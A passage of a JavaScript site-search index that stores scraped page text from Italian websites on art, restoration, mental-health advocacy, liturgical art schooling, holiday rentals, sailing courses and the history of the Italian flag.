Roma, 60 - 30010 Campolongo Maggiore (Venezia) Tel:  (049) 5848124  Cell: (+39) 349 6916154  E-mail: luciozatti@libero.it");sQ1[62]=new Array("http://www.vignanotica.com/pitture_tognoni.html","Le tempere e i disegni di Severino Tognoni","","Home Page Pubblicazioni Le News Contattaci Severino Tognoni Tempere e Disegni Bronzetti Gioielli Home Page &#62; Severino Tognoni &#62; Acquerelle e temperre di Tognoni I lavori d'arte di Severino Tognoni Tempere e acquerelle Ricordi Tempera a carattere decorativo i cui elementi fanno da sfondo ad un ricordo della fanciullezza. Lo scritto che si vede a sinistra recita: &quot;Resta nella mia mente il ricordo di un semplice, triste avvenimento: bambino al mercato, comperai da un uccellaio per poche lire un passerottino; stretto in mano lo portavo a casa. Sfuggitomi di mano lo ricatturai facilmente poco lontano. La cosa mi piacque e volontariamente lanciai più volte in avanti l'animale. Casualmente, in uno di questi voli, l'uccellino si posò sul davanzale di una terrazza all'ingresso di un'abitazione. Un istintivo e rapido gatto lo rapì fuggendo all'interno della casa, io al seguito correndo e gridando disperatamente. Seguendo i balzi del felino e senza curarmi di nulla finì sotto un grande letto che due donne stavano rifacendo. Alle mie invocazioni e lacrime fu data risposta: il gatto fu preso e una delle donne mi rese il corpicino ormai senza vita dell'uccellino; giaceva sulla mia mano, massa inerte di piume senza più valore, giocattolo spento di un bambino che scopriva il mondo. Molto grandemente sconsolato rientrai a casa. Questo avveniva circa trenta anni addietro.&quot;  Tempera - Casa del &quot;Castello&quot; nel centro storico di Carpignano Sesia (Novara) Tempera - Studio Ajmone a Carpignano Sesia (Novara) Vicoli e case a Carpignano Sesia (Novara) Tempera - Vicolo Goito a Carpignano Sesia (Novara) Tempera - Casa a Carpignano Sesia (Novara)  Studi di nudi e interpretazioni decorative Nudo - Tempera e pastello su carta nera Nudo - Tempera - Studio con le proiettanti prospettiche  Studi di nudi. Matita e gesso ocra 1977 Nudi a matita e gesso ocra 1977 Nudi a matita e gesso ocra 1977 Carboncino - Nudo Tempera - Nudo con conchiglia che ingloba uno scheletro di rana Tempera - Nudo con oggetti del luogo di lavoro Tempera - Nudo con oggetti del luogo di lavoro e testa di pesce  I bozzetti per le vetrate artistiche Bozzetto per una vetrata  L'ultimo lavoro: acquerello del Caffè Veneto nel porto di Albarella Acquerello del Caffè Veneto nel porto di Albarella Quest'ultima rappresentazione della realtà osservata, realizzata nel mese di giugno 2011 è il Caffè Veneto. Nella parte bassa del dipinto ho vergato: Tempera &quot;Caffè Veneto&quot; che dedico a Nicolae Ana Maria, ragazza romena sempre attenta e gentile. Mi sarebbe piaciuto averla come compagna nel mio girovagare per il mondo, di questi anni..... tardi anni.  Tutti i lavori d'arte e in particolare le pitture e i disegni quì presentati sono di proprietà di Severino Tognoni pertanto tutti i diritti di riproduzione e utilizzazione sono riservati.  Restauro » Restauro e conservazione dei Beni Culturali Garganonet Via Pò di Levante, 4 45010 Rosolina (Ro) Italia  Tel/fax (+39) 0426 330701  Phone Mobil (+39) 340 3128295 Contattaci     &nbsp;");sQ1[63]=new Array("http://www.vignanotica.com/alunniselvatico.html","Alunni del Pietro Sevatico di Padova ","","Home Page Pubblicazioni Le News Contattaci Ricordi Alunni dell'Istituto P.Selvatico Statura Morale di Loris Zambon Home Page &gt; Alunni del Pietro sevatico Ricordi Alunni e il maestro Loris Zambon all'Istututo d'Arte &quot;Pietro Selvatico&quot; Il &quot;Pietro Selvatico&quot;, così semplicemente chiamato l'Istituto d'Arte a Padova. Ci ha visto giovani studenti al lavoro nei laboratori e nei corsi per la formazione dei Maetsri d'Arte nelle varie discipline. Di seguito alcune foto. Il maestro Zambon in classe con un collega e le alunne Negretto, Toffanin, Moretto Il maestro Loris Zambon in classe; di fronte Severino Tognoni Alunni del Selvatico anno 1967 in primo piano Sandra Toffanin e Giuliana Moretto Da sinistra Claudio Lorenzato, Severino Tognoni, Mirco Toffanin, Gianni Sandri a Bassano del Grappa Gianni Sandri, Mirco Toffanin e Severino Tognoni Alcuni nomi: Renzo Nalesso, Renata Berti, Rita Lovison, Casanova Milly, Mauro Tognoni, Severino Tognoni. Nella &quot;Maresana&quot; al Selvatico, anno 1967 A cura di Severino Tognoni ex alunno dell'Istituto Pietro Selvatico di Padova Restauro » Restauro e conservazione dei Beni Culturali Garganonet Via Pò di Levante, 4 45010 Rosolina (Ro) Italia  Tel/fax (+39) 0426 330701  Contattaci     &nbsp;");sQ1[64]=new Array("http://www.vignanotica.com/restauro/restauro.html","Restauro per la conservazione e salvaguardia del patrimonio artistico culturale della regione Puglia","","Home Page Pubblicazioni Le News Contattaci Restauro Riflessioni per una restauro e conservazione intelligente Home Page &gt; Restauro Restauro 30-6-2010 Il restauro per perpetrare la cultura Il territorio di Capitanata, sede di innumerevoli ed inestimabili beni artistici ed architettonici. Il restauro per la conservazione e salvaguardia del patrimonio artistico culturale della regione Puglia è un momento di alta importanza e valore. L'attività di salvaguardia dei beni culturali, affinché questi continuino ad essere patrimonio di tutti, deve necessariamente svilupparsi considerando una serie di competenze ed abilità in materia di scoperta, analisi e proposte di intervento per l'azione conservativa. Pertanto, un obiettivo importante sarà di creare, come hanno fatto altre regioni italiane, una rete dei soggetti che concorrono alla crescita del sistema regionale del restauro. Particolare di capitello San Leonardo a Manfredonia In questo potranno innestarsi proposte a carattere locale, provinciale e comunale, con associazioni enti e organismi dedicati anche alla necessità di costituire un &quot;sistema di intervento per il restauro&quot;. Infatti, devono sapersi coniugare in toto tutte le competenze distintive e le eccellenze tecnologiche espresse dalle imprese e dal sistema dello studio e della ricerca. Alle competenze puramente tecniche devono unirsi delle conoscenze di storia dell'arte a carattere territoriale per definire le intelligenze dell'intervento. Queste necessitano di conoscenza in: patrimonio murario e architettonico, dipinti murali e affreschi, dipinti su tavola di carattere sacro; singoli o composti in &quot;polittici&quot; spesso decorati con elementi architettonici scolpiti e dorati (detti ancone); decorazioni lapidee quali apparati decorativi nell’architettura, nonché di tutto il patrimonio rurale di manufatti e attrezzi acquisiti ed esposti senza un serio intervento di restauro conservativo. Parte degli interventi dovrà incorporare una nuova concezione dell'allestimento e la conservazione delle collezioni museali, nei luoghi di testimonianza, più appropriati alla loro migliore fruizione. Abbiamo volutamente tralasciato tutto il patrimonio archeologico delle necropoli, di paleoantropologia per i resti fossili umani e della diagnostica. Creare albi regionali nei quali elencare competenze ed abilità in materia di restauro per una più professionale approccio alla rivisitazione restaurativa del &quot;bene culturale&quot;. Restauri documentati » Il Casale di Sant'Egidio » La Chiesa di Santa Lucia » Tele del &quot;700&quot; restaurate » Palazzo dei Celestini Particolare di tabellone didattico al museo di Manfredonia Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[65]=new Array("http://www.garganosalutementale.it/","Gargano Salute Mentale","","ESSERCI il Giornale per la salute mentale e le marginalità sociali Chi Siamo Il Centro Diurno Notizie Rubrica di Salute Mentale Archivio Pubblicazioni Archivio Il Principe dei Briganti &quot;La Casa&quot; Giornata della Salute Mentale Notre Dame de Paris  &quot;Fogli d'Informazione&quot; hanno bisogno del vostro aiuto. La situazione dei Fogli di Informazione necessita del vostro impegno. Un aiuto finanziario in questo momento congiunturale ci permetterà di continuare nella diffusione del periodico. Paolo Tranchina  Università Statale &quot;Iuliu Hatieganu&quot; a Cluj-Napoca Iscrizioni al corso di laurea di Medicina in Romania per l'anno accademico 2012 - 2013. Sono aperte le iscrizioni per il corso di lingua Romena. Nessun test di ammissione per il corso in francese e inglese. Info Tel (+39) 3403128295 Agli amici, tutti, Carissimi, il 5 per mille ci arriva prezioso e inaspettato ad aggiungere energie alla nostra difficile e costosa assistenza a tutte le persone che ci chiedono aiuto (missione in Albania, donne in difficoltà, ragazze madri, immigrati, carcerati e le loro famiglie, anziani…) La finanziaria 2006, infatti, ha introdotto......... leggi per saperne di più.....  Accessi al sito: 22191 Agosto 2011 Incontro formativo e informativo a cura di Donata dei Nobili  dal titolo: &quot;Il nostro modello psicoriabilitativo, una porta aperta sul mondo&quot; Gli operatori del centro diurno &quot;Genoveffa De Troia&quot; di Monte Sant'Angelo vivacizzano gli incontri tematici per le buone pratiche psicoriabilitative, coinvolgendo la Città. L'incontro formativo ed informativo si è tenuto presso la propria sede. La partecipazione degli operatori, volontari, ospiti, familiari, studenti e cittadini comuni è stata [...] (Continua) Leggi la presentazione completa..... Ad Agosto incontro tematici sulla salute mentale a cura di Donata dei Nobili  Associazione &quot;Genoveffa De Troia&quot; di Foggia L'Associazione &quot;Genoveffa De Troia&quot; di Foggia, nel mese di agosto, terrà degli incontro tematici sulla salute mentale. Gli operatori psichiatrici del Centro Diurno di Monte Sant'Angelo porteranno la loro lunga esperienza, relazionando su i servizi territoriali e le buone pratiche psicoriabilitative. Per la presidente, Anna Rita Nicoletti, gli incontri con le famiglie e le persone interessate sono un modo per far acquisire saperi tecnici ai volontari, agli operatori, ai familiari ed ai cittadini per fare esercitare loro un ruolo importante nella tutela della salute mentale.Conoscenze utili per la vera lotta allo stigma psichiatrico, che è tale se c'è la guarigione sociale e l'esercizio della cittadinanza attiva da parte di tutti, andando oltre la diagnosi psichiatrica. Con la deistituzionalizzazione, voluta da Franco Basaglia e dal movimento &quot;antipsichiatrico&quot; degli anni Sessanta, sono stati [...] (Continua) Leggi la presentazione completa..... Lettera all'On Nichi Vendola Presidente della Regione Puglia   Al Presidente della Regione Puglia on. Nichi VENDOLA BARI Carissimo Nichi, a dir poco, siamo arrabbiati. Diciamolo chiaramente, iniziamo a dubitare del tuo buon governo. Ancora una volta, il Suo- nostro (?) governo ci danneggia, anzi ci toglie la possibilità materiale di vivere. Tu- Lei (?) non tuteli nemmeno la nostra miseria. Ognuno di noi, &quot;malati psichiatrici&quot;, riceve dallo Stato la misera somma di 260, 00 al mese. Con questi euro, dobbiamo vivere, sostenere la famiglia e curarci. In pratica, ci hai imposto [...] (Continua) Leggi la lettera completa..... SALUTE MENTALE: REPORT SU SEME, IL PRIMO SISTEMA SENTINELLA SUI DISTURBI PSICHIATRICI   L'Istituto Superiore di Sanità traccia un primo profilo dei pazienti con disturbi mentali gravi giunti per la prima volta all'osservazione di una rete di 22 Centri di Salute Mentale (CSM) collaboranti al progetto SEME (Sorveglianza Epidemiologica integrata in Salute Mentale), i cui risultati sono stati presentati oggi all'ISS. Dai dati emerge ch il 48% dei pazienti individuati ha un grado di istruzione basso, il 47% vive con la famiglia di origine, il 40% è disoccupato mentre solo il 29% ha un'occupazione, l'87% vive in difficoltà economiche moderatamente gravi o gravi. Hanno un'età mediana di 37 anni e sono in lieve maggioranza donne (il 54%). I single sono il 58%. [...] (Continua) Leggi l'articolo completo..... AFRODITE STORIA E PSICOLOGIA DI UN MITO   di Paolo Tranchina Il testo di Paolo Tranchina e Maria Pia Teodori, Afrodite: storia e psicologia di un mito, prefazione di Maria Cristina Barducci, mantenendo fede al sottotitolo, traccia la storia della Grande Dea dell'Amore dalle origini più remote, alla Mesopotamia, al periodo greco, fino alla sua dissoluzione alla fine del periodo romano. Insieme all'Afrodite greca, la ...... Un ruolo importante non può che occupare Eros, dio antico [...] (Continua) Leggi l'articolo completo..... &quot;FOGLI D'INFORMAZIONE&quot; HANNO BISOGNO DEL VOSTRO AIUTO Etica e Filosofia del Servizio Psichiatrico   Idee e esperienze alla ricerca del &quot;nuovo&quot; in campo psichiatrico. Vissuti dal senso non comune. Esperienze e vissuti degli ospiti in Comunità Del Dr Francesco Mango Medico Psicoterapeuta Che cosa è una comunità terapeutica? Vi sono molte definizioni, alcuni autori usano e parole complesse e misteriose dette per impressionare l'ascoltatore, poco importa se non ci si fa capire. Ritengo chiara e esaudiente quella data da Rapaport 1960: un luogo organizzato come una comunità nella quale ci si aspetta che tutti contribuiscano al raggiungimento di un unico obbiettivo condiviso: la creazione di un'organizzazione sociale con qualità curative. Chiara e comprensibile. Le qualità curative ce le facciamo spiegare da Kennard 2000: L'essenza della tecnica in una comunità [...]..... (Continua) Leggi l'articolo completo..... L'uso dell'ICF nella riabilitazione psichiatrica A cura di: Dott.Francesco Mango Medico Psicoterapeuta Dott. Matteo Notarangelo (responsabile struttura, sociologo, counselor psichiatrico professionale) Dott. Nicola Marseglia (psicologo di Comunità) Dott.ssa Maria Francesca Notarangelo (Psicologia Clinica e della Salute). La Comunità &quot;Gheel&quot; è una comunità riabilitativa per soggetti con gravi problematiche psichiche, inserita all'interno del comune di Monte Sant'Angelo (Fg). Gli ospiti usufruiscono delle attività psico-riabilitative all'interno della comunità e partecipano alla vita e alle attività sociali e culturali della cittadina. All'interno della Comunità, opera una equipe multi professionale che, insieme all'ospite, ai familiari di riferimento, e alle indicazioni del Dipartimento di Salute Mentale di provenienza, provvede a stilare il progetto terapeutico riabilitativo individualizzato. L'equipe multi professionale ritiene che la riabilitazione sia l'insieme [...]...... (Continua) Leggi l'articolo completo..... INAUGURAZIONE DEL NUOVO SPDC A PORTE APERTE DI TRENTO - 17 gennaio 2011 ore 12 - Ospedale S. Chiara Trento Carissimi tutti, sono lieto di girarvi questa comunicazione che ho ricevuto da Trento sulla totale apertura del locale SPDC (Servizio Psichiatrico di Diagnosi e Cura). Si tratta di un evento importante perchè rafforza tutte le esperienze avanzate.....IL PROGETTO PORTE APERTE A TRENTO Il progetto porte aperte del Servizio Psichiatrico Diagnosi e Cura (SPDC) di Trento è nato nel 2007 in coerenza con le pratiche e la cultura dell'empowerment e del &quot;Fareassieme&quot; già da anni presenti all'interno del servizio. All'interno dell'SPDC si è formato un gruppo di lavoro ....... Leggi .....   Con Noi..... Quelli che raccontano storie.... Se il linguaggio è stato definito &quot;la casa dell'essere&quot;, le storie, inventate e scritte da ragazzi di 11 o di 12 anni, possono essere definite il &quot;disegno artistico&quot; del proprio ambiente: lo specchio limpido della propria anima. Ma se tanti ragazzi e ragazze raccontano storie, la scuola, la famiglia e la città iniziano a mostrare i loro vissuti, impregnati di emozioni e di sentimenti.     Leggi i nostri articoli.....   Giornate della Salute Mentale &quot;Tutti insieme per l'integrazione&quot; Sabato 10 luglio 2010 alle ore 20,00 Presso l'Auditorium Beato Bronislao Markiewicz a Monte S'Angelo (Fg) Si rappresenta Una Rosa Incantata - Le Poesie di Alda Merini Quando da ragazzo pensavo alla poesia, pensavo a torto, che fosse riservata a persone...... Leggi...     Che cos'è ESSERCI BASAGLIA. CHI E' COSTUI? Personaggio scomodo, ancora oggi solleva contraddizioni. Noto ai più per una legge che “ha chiuso i manicomi”, ma, nello stesso tempo, le università rifuggono da lui. In Italia, ci si interroga sullo stato di attuazione della sua legge, ma, nel frattempo, l’Islanda è solo l’ultima nazione che ha scoperto che l’idea di Basaglia è vincente e fa pure risparmiare. LA DOMICILIARITA' PSICHIATRICA NON DIVENGA ABBANDONO Ogni tempo storico ha la sua parola magica, salvifica. Il nostro tempo l’ha già individuata e non perde occasione per propagandarla, amplificarla. La parola rivelatrice è domiciliarità: un racconto mascherato dei fenomeni socio-assistenziali. A TRENT'ANNI DALLALEGGE BASAGLIA. INTERVISTA A BENEDETTO MACCARONE DI CESARE DEL FRATE La legge Basaglia relegò alla storia del passato il manicomio. Dall'istituzione totale uscirono donne e uomini piegati dall'ignominia di un sapere di esclusione. Oggi sono donne e uomini &quot;minori&quot; che ragionano sui tanti diritti negati. Aspettono e ci chiedono l'esigibilità dei propri diritti di cittadinanza. RI-FIUTANDO. UN DVD SULLA QUOTIDIANITA' DI TRE RAGAZZI DIVERSAMENTE ABILI Vivo in un piccolo paese del Sud. Un pezzo di terra abitato da gente semplice, ma governato con ragioni antiche LETTERA APERTA A NICHI VENDOLA Con l'approvazione del Piano Regionale delle Politiche sociali (2009-2011) la domiciliarità rischia di provocare abbandono Non c'è guarigione sociale e sanitaria per legge. Anche nel diritto divino, bisognerebbe invocare l'aiuto dell'Onnipotente. In questo caso, bisogna trasformare le comunità psichiatriche in santuari, dotandole di sacerdoti e, forse, anche di sciamani. 1 2 3 Successivo-&gt;&gt; Il Piano Sociale di Zona trascura la salute mentale e le dipendenze Il Piano Sociale di Zona dei Comuni dell'AmbitoTerritoriale di Manfredonia, Monte Sant'Angelo e Mattinata penalizza la salute mentale e le dipendenze. E lo fa contro la normativa nazionale e regionale. Le leggi socio-sanitarie nazionali e regionali, in modo particolare......... Le interviste Per inaugurare la nuova rubrica dedicata alle interviste ai protagonisti della cultura, delle scienze e della politica, vi proponiamo una intervista al prof. Paolo Cendon - (Professore ordinario di istituzioni di diritto privato – Università &quot;La Sapienza&quot; di Trieste) .........il ricordo della morte di mia madre; e poi l'impressione che oggi non si combatte il dolore a sufficienza. L'insofferenza verso le declamazioni mistiche, compiaciute. Soprattutto l'idea che - riguardo agli infermi - occorrerebbe una nuova umanità: ascolto, gentilezza, partecipazione, rispetto, premura, delicatezza, garbo, qualche tocco....... Per una guarigione sociale Il superamento dei manicomi è stato un obiettivo importante sia per aver ridato il rispetto alle persone sia per aver rifiutato lo stato di segregazione in cui vivevano. La nuova situazione non può, né deve essere, un ritorno........ Una scuola di qualità Un’équipe psicopedagogica ed un operatore di riferimento per identificare e risolvere situazioni di disagio nella scuola e nella famiglia. Un bisogno moderno, per agevolare le relazioni studenti-insegnanti, insegnanti-genitori e sostenere ........... Il teatro come terapia Gli ospiti della Comunità “Gheel” e del Centro Diurno per la salute mentale dell’Associazione di Assistenza ed Accoglienza “Genoveffa De Troia”, in collaborazione con l’Associazione “Crescere”, Scuola di Counseling di Foggia, il prossimo 24 luglio, nell’ambito della manifestazione nazionale di......... Donata dei Nobili Raccontarsi con il teatro Gli ospiti ed i volontari della Comunità psichiatrica e del Centro Diurno dell’Associazione di Assistenza ed Accoglienza “Genoveffa De Troia”, nei locali delle clarisse di Monte Sant’Angelo, hanno rappresentato, il 19 giugno, “Metàbasis”, antologia di testi e invenzione di messa in scena del prof. Michele Campanile. Metàbasis è una parola......... L'esperto risponde Scriveteci mandando i vostri quesiti e vi risponderemo. I nostri esperti sono a vostra completa disposizione. Scrivete liberamente ed esprimete la vostra opinione e il vostro pensiero. Rimarrai sorpreso di sapere che c'è qualcuno che ti ascolta e comprende. I nostri collaboratori ed esperti, sono motivati e professionali nel loro operare. La tua privacy sarà garantita poichè i tuoi dati rimarranno in nostro esclusivo possesso. ....poni la tua domanda Il Giornale ESSERCI L'idea di un giornale Il comitato di redazione Le nostre interviste L'esperto risponde Scriveteci mandando ivostri quesiti e vi risponderemo. Parlare del Gargano...e non solo www.montegargano.it Archivio della nostra presenza nel tempo: articoli e contenuti passati. Lotta allo stigma ed ad ogni forma di esclusione. &quot;Metàbasis&quot; Frammenti di storia sociale psichiatrica Teatro Sociale - Vivere Insieme &quot;Recitare è..... nel teatro vivere la commedia; nel quotidiano vivere nella commedia&quot;   Tutti a teatro Sono spettinata Vorrei pettinarmi Per Pettinarmi mi occorre un pettine Ho bisogno di un pettine Ma non possiedo un pettine Ho diritto a un pettine Voglio un pettine! Manifesto di Ugo Guarino Prodotto dal laboratorio di serigrafia del Collettivo d'Arte Arcobaleno, Trieste, 1974 ....&quot; Quel concerto di fine maggio del 1974 nel manicomio di Trieste, Ornette Coleman lo ricorda benissimo e ha voglia di raccontarlo. “It was really very unique&quot;, molto speciale. Non mi ero mai trovato in un ambiente così particolare. Non avevamo la minima idea di chi potesse esserci in quell’ospedale, ci siamo trovati fra tanta gente di tutti i tipi e certo non avresti potuto dire, guardandoli in faccia, questo è malato e questo no”. Erano cambiate tante cose nel manicomio di Trieste da quando Franco Basaglia era diventato direttore, alla fine del 1971. Tutti i reparti erano aperti, molte persone erano state dimesse ma ne restavano dentro 847, e “ 847” era il nome del giornale inventato da Ugo Guarino, artista pop triestino che aveva vissuto a lungo negli Stati Uniti e animava all’epoca il “Collettivo d’arte arcobaleno”, che aveva fatto tra l’altro il murale “La libertà è terapeutica”, messaggio forte di quegli anni che sconcertava e divideva la città.&quot; © 2005 www.garganonet.it - All rights reserved");sQ1[66]=new Array("http://www.scuolabeatoangelico.it/","Scuola Beato Angelico Fondazione di Culto","","HOMEPAGE    NOTIZIE    La Famiglia Beato Angelico (Ora Et Labora)    FORMAZIONE ARTISTI    Pubblicità      -   Il Santo del giorno: FORMAZIONE ARTISTI R. Magritte: La condizione umana, 1933         FIORI PER LA LITURGIA La Scuola Beato Angelico e la Famiglia Beato Angelico Una Istituzione al Servizio della Chiesa L'Istituzione della Famiglia Beato Angelico nello spirito del Fondatore     La SCUOLA BEATO ANGELICO è una fondazione cattolica, istituita nel 1921 da Mons. &quot;Giuseppe Polvara&quot;, sacerdote della Diocesi di Milano, pittore e architetto, sorta per la conoscenza, la conservazione, la valorizzazione, l'aggiornamento, e lo sviluppo del patrimonio artistico e artigianale a servizio della liturgia della Chiesa Cattolica, quale contributo alla preghiera e alla catechesi.     Nella Scuola, opera una Comunità Religiosa chiamata &quot;Famiglia Beato Angelico&quot;.   Questa da quasi 70 anni svolge un'attività di artigianato ed arte per la Chiesa, e offre la possibilità ad artisti e cultori d'arte, sia italiani, sia di altre nazioni, di poter fare una esperienza particolare, condividendone la vita che si svolge, secondo il programma benedettino, tra la preghiera e il lavoro, nell'intento - voluto dal Fondatore - di una fusione di queste due dimensioni affinché il lavoro stesso, proprio per la sua finalità liturgica, diventi, esso pure, preghiera.     Nella vita religiosa della Comunità occupa il posto principale la preghiera liturgica, che trova il suo culmine nella celebrazione Eucaristica. L'attività professionale carismatica a sua volta consiste nella progettazione e produzione dei luoghi e degli arredi della celebrazione liturgica.   La Scuola Beato Angelico dal 1921 ha gestito un Corso Superiore destinato alla preparazione degli artisti per il culto; dal 1947 il Liceo Artistico parificato; dal 1968 al 2009 l'Istituto d'Arte Parificato per la Decorazione e l'Arredo della Chiesa.     Dal corrente anno 2009 su invito del vescovo della Diocesi di Albano, ha preso parte all'attivazione del Corso biennale di Formazione &quot;Liturgia e Arte&quot; e con la presenza di suoi docenti, specializzati in Liturgia, Iconografia, Storia dell'Arte cristiana, Beni culturali ecclesiastici, e Architettura per il culto. Home | Notizie | Famiglia Beato Angelico (Ora et labora) | Formazione artisti | Contattaci Architettura | Pittura | Scultura | Vasi e arredi sacri | Confezioni e ricami | Pubblicazioni . Copyright © Scuola Beato Angelico - Fondazione di Culto - dal 1921 tutto per la liturgia - P.Iva 01364300150Viale San Gimignano, 19 - 20146 Milano ITALY (Metro1, fermata BANDE NERE)Tel: (+39) 02 48302857 - Fax: (+39) 02 48301954 - Email: info@scuolabeatoangelico.it  Sito ottimizzato per Internet Explorer 7 e Firefox 3.0");sQ1[67]=new Array("http://www.arcadiaimmobiliare.biz/","Case vacanza Albarella Villa con piscina Appartamenti - ARCADIA IMMOBILIARE","Case vacanza albarella, Villa con piscina albarella, Appartamenti albarella, Vendita case albarella, Affitto appartamenti albarella","Home Dove Siamo Vendite Affitti Contatti Privacy Link Utili La casa per le tue Vacanze.La soluzione giusta ad ogni tua esigenza&quot; /&gt; Splendide Ville con piscina...&quot; /&gt; ...la vista sulla Laguna&quot; /&gt; Ricercatezza, Comfort, Eleganza...&quot; /&gt; Le 'CHIOGGIOTTE' e i suggestivi tramonti sullo specchio nautico.&quot; /&gt; Chi Siamo Arcadia Immobiliare, con cortesia e professionalitÃ  ti aiuta a scegliere la casa per le tue vacanze; nell'Isola di Albarella, paesaggio incontaminato del Delta del Po, tra i profumi della natura, dove puoi assaporare il piacere della privacy e della tranquillitÃ , troveremo insieme la soluzione giusta ad ogni tua esigenza. Isola Albarella La Spiaggia, Le Piscine... per il tuo tempo libero... la natura... i paesaggi Servizi Affitti monolocali, bilocali, trilocali, villette e ville con piscina... Vendite ...alcune nostre proposte... informazioni chiudi Mappa Per Informazioni Agenzia Arcadia Immobiliare di Marisa Gnudi Casa del Porto int.13 Isola di Albarella 45010 Rosolina (Rovigo) Tel. +39.0426.330143 Fax. +39.0426.330143 E.mail: info@arcadiaimmobiliare.biz Arcadia Immobiliare di Marisa Gnudi © 2011 | All Rights Reserved | P.iva 01131640292 | Credits DWD Web Agency Keywords: case vacanza albarella, CASE VACANZA ALBARELLA, appartamenti albarella, APPARTAMENTI ALBARELLA, vendita case albarella, VENDITA CASE ALBARELLA, affitto appartamenti albarella, AFFITTO APPARTAMENTI ALBARELLA, villa con piscina albarella, VILLA CON PISCINA ALBARELLA");sQ1[68]=new Array("http://www.velaclub.org/","Corsi Vela Padova, Venezia, Rovigo, Portolevante . Vela Club Padova. Corsi Barca Vela","Corsi Vela Padova, Venezia, Rovigo, Portolevante. Vela Club Padova. Organizza corsi vela per tutte le etÃ .","Corsi Vela Padova, Venezia, Rovigo, Portolevante. Vela Club Padova. Organizza corsi vela per tutte le etÃ . Home Il club Crociere scuola in Croazia YOGA E BARCA A VELA Mercatino dell&#8217;usato Porto Seguro uso della zattera Eurovinil Manutenzione della barca a vela osmosi Zattera di salvataggio La vetroresina ModalitÃ  di pagamento e costi dei corsi vela imbarcazioni del club Posti Barca patenti entro e oltre le 12 miglia dalla costa Porto Levante Corsi Vela Corsi deriva corsi in catamarano,crociere in catamarano Corsi di vela base,primo livello Corso di ormeggio e ancoraggio Corsi di vela secondo,livello giornaliero Corsi di vela,secondo livello Weekend AttivitÃ  di regata Foto Gallery Video Gallery Lezioni apprese topo Le cozzare, cronaca di un inconveniete Info Iscriviti alla nostra Newsletter Contatti Categorie Corsi di vela base Eventi Link Architetto Miola Edoardo BOLINA Edoardo Miola Marina di Porto Seguro Meteo meteo mondiale con i cicloni Piattaforma meteo alto Adriatico Piattaforma meteo alto adriatico volovia www.northcoast.it Meta Collegati RSS nov/1121 Barcolana 2011 Scritto da Renato Tognoni in Eventi Anche quest&#8217;anno la Barcolana Ã¨ andata a gonfie vele. Articolo in costruzione Condividi su: Condividi su: No tags Riduci ago/1130 Cociere in Croazia Scritto da Renato Tognoni in Eventi Si sono concluse le crociere scuola in Croazia, la sorpresa piÃ¹ bella Ã¨ stata quella che al rientro difronte ad Albarella abbiamo incontrato due famiglie di delfini che ci hanno regalato uno spettacolo emozionante. Inoltre l&#8217;amica Marilena ha cercato di nuotare in mezzo a loro, ma Ã¨ stata ignorata completamente. Comunque brava e coraggiosa. Condividi [...] Condividi su: No tags Riduci lug/1114 Corsi vela riprendono a settembre Scritto da Renato Tognoni in Eventi I corsi vela vengono sospesi fino ai primi di settembre, in quanto da metÃ  luglio partono i corsi vela d&#8217;altura. Buon vento a tutti. Condividi su: Condividi su: No tags Riduci mag/1117 Prenotazioni crociere in Croazia Scritto da Renato Tognoni in Eventi Sono iniziate le prenotazioni per i corsi vela d&#8217;altura in Croazia, il corso consiste in una crociera tra le isole croate, dove lo skipper insegnerÃ  tutte le tecniche di navigazione tra le isole, in presenza di correnti e venti dominanti. Il tutto sarÃ  fatto in piena sicurezza, e la navigazione sarÃ  svolta con tranquillitÃ . Il [...] Condividi su: No tags Riduci &laquo; Previous Entries Pagina successiva &raquo; Cerca nel sito! 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( severino)15.02.2011, 10:52 Industria aeronautica Storia dell'industria aeronauticha e imprenditori 2 SIAI-Marchetti SF-600 Canguro ( severino)22.07.2009, 12:22 Aerei del mondo Aerei dal mondo e attività legate al volo 4 No news (---)--- Battesimo dell'aria Il piacere di volare 2 Michela al suo primo volo ( Dario)07.02.2009, 20:28 This page has been generated in 0.0089 seconds. (1 MySQL-Queries) Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[70]=new Array("http://www.fivu.it/","http://www.fivu.it/","","");sQ1[71]=new Array("http://www.radiomarconi.com/marconi/bandiere/storia_bandiera.html"," Storia della Bandiera Italiana - Per ricordare che Bandiera e Inno non servono solo in occasione delle partite ","La Bandiera degli italiani - I colori della bandiera Nazionale Italiana furono stabiliti dal Senato di Bologna, con un documento datato 28 ottobre 1796, in cui si legge: ","Scarica l'Inno di Mameli nelle tre differenti versioni disponibili online. Il tempo che occorre per scaricare l'inno dipende dal vostro tipo di connessione. Per effettuare il download clicca sul link (Inno 1, Inno 2 o Inno 3) con il tasto destro del mouse scegliendo &quot;Salva oggetto con nome...&quot; Inno 1 Inno 2 Inno 3  Costituzione italiana, articolo 12 &quot;La bandiera della repubblica è il tricolore italiano: verde, bianco e rosso, a tre bande verticali di eguali dimensioni.&#148;. 4 novembre 2001: il presidente della Repubblica Carlo Azeglio Ciampi celebra il 140&deg; anniversario dell' unità nazionale a San Martino della Battaglia, con le seguenti parole: &quot;Adoperiamoci perchè in ogni famiglia, in ogni casa, ci sia un tricolore a testimoniare i sentimenti che ci uniscono fin dai giorni del glorioso Risorgimento. Il tricolore non è una semplice insegna di Stato, è un vessillo di libertà conquistata da un popolo che si riconosce unito, che trova la sua identità nei principi di fratellanza, di eguaglianza, di giustizia. Nei valori della propria storia e civiltà. La Bandiera Italiana Nome: Tricolore Professione: bandiera nazionale italiana Data di nascita: 14 novembre 1794 Luogo di nascita: Bologna che diventerà capitale della Repubblica Cispadana Il Senato di Bologna, con un documento datato 28 ottobre 1796, delibera: &quot;Bandiera coi colori Nazionali - Richiesto quali siano i colori Nazionali per formarne una bandiera, si è risposto il Verde il Bianco ed il Rosso.&quot; Esperienze: 1797: impiegato presso il Parlamento della Repubblica Cispadana. 1797-1814: adottato dal Regno Italico. 1831: emblema della Giovine Italia di Giuseppe Mazzini. 1834: adottato dalle truppe che tentarono di invadere la Savoia. 1848, marzo: durante le Cinque Giornate di Milano il re di Sardegna Carlo Alberto assicura al Governo provvisorio lombardo che le sue truppe, pronte a venire in aiuto per la prima guerra d'indipendenza, avrebbero marciato sotto le insegne del Tricolore. 1848: adottato dalle milizie borboniche e papali inviate in soccorso dei Lombardi, da Venezia e dal Governo insurrezionale della Sicilia. 12 febbraio 1849: adottato dalla Repubblica Romana. 14 marzo 1861: proclamato il Regno d'Italia. La bandiera continua ad essere, per consuetudine il Tricolore. 24 